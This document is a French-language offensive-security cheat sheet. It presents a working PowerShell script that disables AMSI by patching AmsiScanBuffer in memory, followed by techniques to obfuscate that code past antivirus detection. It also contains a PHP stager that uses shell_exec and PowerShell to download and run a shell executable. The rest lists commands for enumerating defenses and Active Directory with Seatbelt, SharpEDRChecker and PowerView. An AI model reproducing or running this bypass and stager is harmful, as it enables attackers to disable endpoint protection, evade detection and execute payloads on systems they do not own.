Ce script permet de désactiver AMSI
//bypass.ps1
$MethodDefinition = "
[DllImport(`"kernel32`")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$ABSD = 'AmsiS'+'canBuffer';
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
Bien sûr, ce code sera détecté par l’antivirus et il faut le modifier. AMSITrigger permet de trouver les références qui déclenchent les alertes.
.\AmsiTrigger_x64.exe -i bypass.ps1 -f3
Nous devons briser les chaînes de caractères, car ces systèmes se basent principalement sur les chaînes pour étiqueter les malware. Voici donc des exemples en powershell pour rendre le code illisible.
concaténation: $machaine=('Ge' + 'rmai' + 'n')
réarrangement: $machaine=('{2}{1}{0}'-f'n','rmai','Ge')
espaces: $machaine =( 'Ger' + 'main' )
Type accelerators
//[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6); devient
("System.Management.Automation.TypeAccelerators")::Add('dorkstork', [system.runtime.interopservices.marshal])
[dorkstork]::copy($buf, 0, $BufferAddress, 6);
Utilitaires automatisés pour créer des nouvelles chaînes
Invoke-Obfuscation -ScriptBlock {'code_a_modifier'} -Command 'Token\\String\\1,2,\\Whitespace\\1' -Quiet -NoExit
Quels bouts de code déclenchent defender ?
TreatCheck.exe -f <fichier>
Code php pour exécuter du code
<?php
function get_stager() {
$init = "powershell.exe";
$payload = "Invoke-WebRequest 127.0.0.1:8000/shell.exe -outfile notashell.exe"; // Insert PowerShell payload here
$execution_command = "shell_exec";
$query = $execution_command("$init $payload");
echo $query; // Execute query
}
function execute_stager() {
$init = "powershell.exe";
$payload = ".\notashell.exe"; // Insert PowerShell payload here
$execution_command = "shell_exec";
$query = $execution_command("$init $payload");
echo $query; // Execute query
}
get_stager();
execute_stager();
die();
?>
AppLocker (secpol.msc) restreint certains programmes.
- Executable Rules #Que sont les exécutables et applications qui peuvent être utilisés dans les répertoires spécifiés
- Windows Installer Rules #Quels installers peuvent être utilisés
- Script Rules #Quels sont les scripts qui peuvent être utilisés et à quel endroit
- Packaged app Rules #Applications windows pre-packaged qui peuvent être utilisés
Le script applocker-bypas-checker.ps1 permet de trouver dans quel répertoire nous pourrons utiliser des scripts
SeatBelt permet d’avoir une vue d’ensemble des systèmes de sécurité
- AMSIProviders
- AntiVirus
- Sysmon
- WindowsDefender
- WindowsEventForwarding
- McAfeeConfigs
- Processus d’intérêt : logiciels d’administration et logiciels de défense
Modules offerts par SeatBelt
- DotNet : Version .NET
- DotNET : Group policies (GPO)
- LocalGPOs : Groupes locaux
- LocalGroups : Partages réseaux
- NetworkShares : Version de Powershell et paramètres de sécurité
- PowerShell : Processus
- Processes : Privilèges (seDebug)
- TokenPrivileges : Énumération d’identifiants de connexion
- InterestingFiles : CredEnum : Fichiers intéressants
- ScheduledTasks : Tâches schédulées
SharpEDRChecker : énumère les logiciels de sécurité
- FileChecker
- ProcessChecker
- ServiceChecker
- DriverChecker
- DirectoryChecker
PowerView
Import-Module .\PowerView.ps1
Get-NetLocalGroup
Get-NetLocalGroupMember -Group Administrators
Get-NetLoggedon
Get-DomainGPO
Find-LocalAdminAccess #vérifie si l'utilisateur actuel est un administrateur local de d'autres machines sur le domaine
Parfois les outils SeatBelt et PowerView ne pourrons être utilisés. Nous pouvons utilisés PowerUpGreySkull.ps1
Import-Module .\PowerUpGreySkull.ps1
Get-ScheduledTask
Get-ScheduledTask -TaskPath "\Users*"
Get-ScheduledTaskInfo -TaskName "Microsoft\VisualStudio\VSIX Auto Update"
whoami /priv
Import-Module ActiveDirectory; Get-ADGroup
Import-Module ActiveDirectory; Get-ADGroupMember
Import-Module ActiveDirectory; Get-ADPrincipalGroupMembership
samAccountName -like "*"
Autres ressources
https://amsi.fail/
https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/
https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html